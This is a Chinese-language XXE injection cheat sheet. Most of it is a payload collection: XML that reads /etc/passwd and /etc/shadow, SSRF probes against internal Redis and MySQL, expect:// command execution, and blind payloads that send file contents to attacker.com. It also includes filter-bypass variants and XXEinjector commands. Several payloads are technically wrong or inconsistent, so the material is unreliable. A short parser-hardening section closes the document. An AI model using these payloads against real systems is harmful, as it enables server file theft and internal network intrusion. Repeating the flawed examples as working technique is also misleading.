XXE 漏洞详解

漏洞概述

XXE(XML External Entity)XML 外部实体注入,攻击者通过构造恶意 XML 读取服务器文件、执行命令等。

OWASP Top 10: A05:2021
危害等级: ⭐⭐⭐⭐⭐


漏洞原理

XML 允许定义外部实体,如果解析器未禁用该功能,攻击者可利用:

<?xml version="1.0"?>
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

漏洞检测

基础测试

<!-- 测试 XXE -->
<?xml version="1.0"?>
<!DOCTYPE test [
    <!ENTITY xxe "XXE Test">
]>
<root>&xxe;</root>

<!-- 如果返回 XXE Test,说明存在 XXE -->

读取文件

<!-- Linux -->
<?xml version="1.0"?>
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

<!-- Windows -->
<?xml version="1.0"?>
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root>&xxe;</root>

Payload 大全

读取文件

<!-- /etc/passwd -->
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

<!-- /etc/shadow (需要权限) -->
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "file:///etc/shadow">
]>
<root>&xxe;</root>

<!-- 配置文件 -->
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "file:///etc/hosts">
    <!ENTITY xxe SYSTEM "file:///proc/version">
]>

SSRF 攻击

<!-- 内网探测 -->
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "http://192.168.1.1:8080/">
]>
<root>&xxe;</root>

<!-- Redis 未授权访问 -->
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/_INFO">
]>

<!-- MySQL 连接 -->
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "mysql://user:[email protected]:3306/">
]>

命令执行

<!-- PHP expect:// -->
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "expect://id">
]>
<root>&xxe;</root>

<!-- Java Runtime -->
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "http://attacker.com/">
]>
<root>&xxe;</root>

盲注 XXE

<!-- 外带数据 -->
<!DOCTYPE root [
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % remote SYSTEM "http://attacker.com/xxe?data=%file;">
    %remote;
]>
<root>&xxe;</root>

绕过技巧

Base64 编码

<!DOCTYPE root [
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % remote SYSTEM "http://attacker.com/?data=%file;">
    %remote;
]>

实体嵌套

<!DOCTYPE root [
    <!ENTITY % a SYSTEM "file:///etc/passwd">
    <!ENTITY % b "&#37;a;">
    <!ENTITY % c "&#37;b;">
    <!ENTITY % remote SYSTEM "http://attacker.com/?data=%c;">
    %remote;
]>

字符编码绕过

<!-- UTF-7 -->
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "utf-7:+ACI-file:///etc/passwd-ACI-">
]>

<!-- UTF-16 -->
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

工具检测

XXEinjector

# 自动检测 XXE
ruby XXEinjector.rb --host=attacker.com --path=/etc/passwd --file=request.xml

# SSRF 测试
ruby XXEinjector.rb --host=attacker.com --port=80 --file=request.xml

Burp Suite

# 使用 XXE Scanner 插件
# 或手动构造 Payload 测试

实战案例

案例 1: SOAP 接口 XXE

POST /soap HTTP/1.1
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE user [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope>
    <soapenv:Body>
        <user>&xxe;</user>
    </soapenv:Body>
</soapenv:Envelope>

案例 2: SVG 文件 XXE

<svg xmlns="http://www.w3.org/2000/svg">
    <!DOCTYPE svg [
        <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <text>&xxe;</text>
</svg>

案例 3: Office 文档 XXE

<!-- Word 文档中的 XXE -->
<w:document>
    <!DOCTYPE root [
        <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <w:p>&xxe;</w:p>
</w:document>

防御建议

Java

// 禁用外部实体
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

PHP

// 禁用外部实体
libxml_disable_entity_loader(true);

Python

# 使用 defusedxml
from defusedxml import ElementTree
root = ElementTree.parse(file)

.NET

// 禁用 DTD
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;

参考链接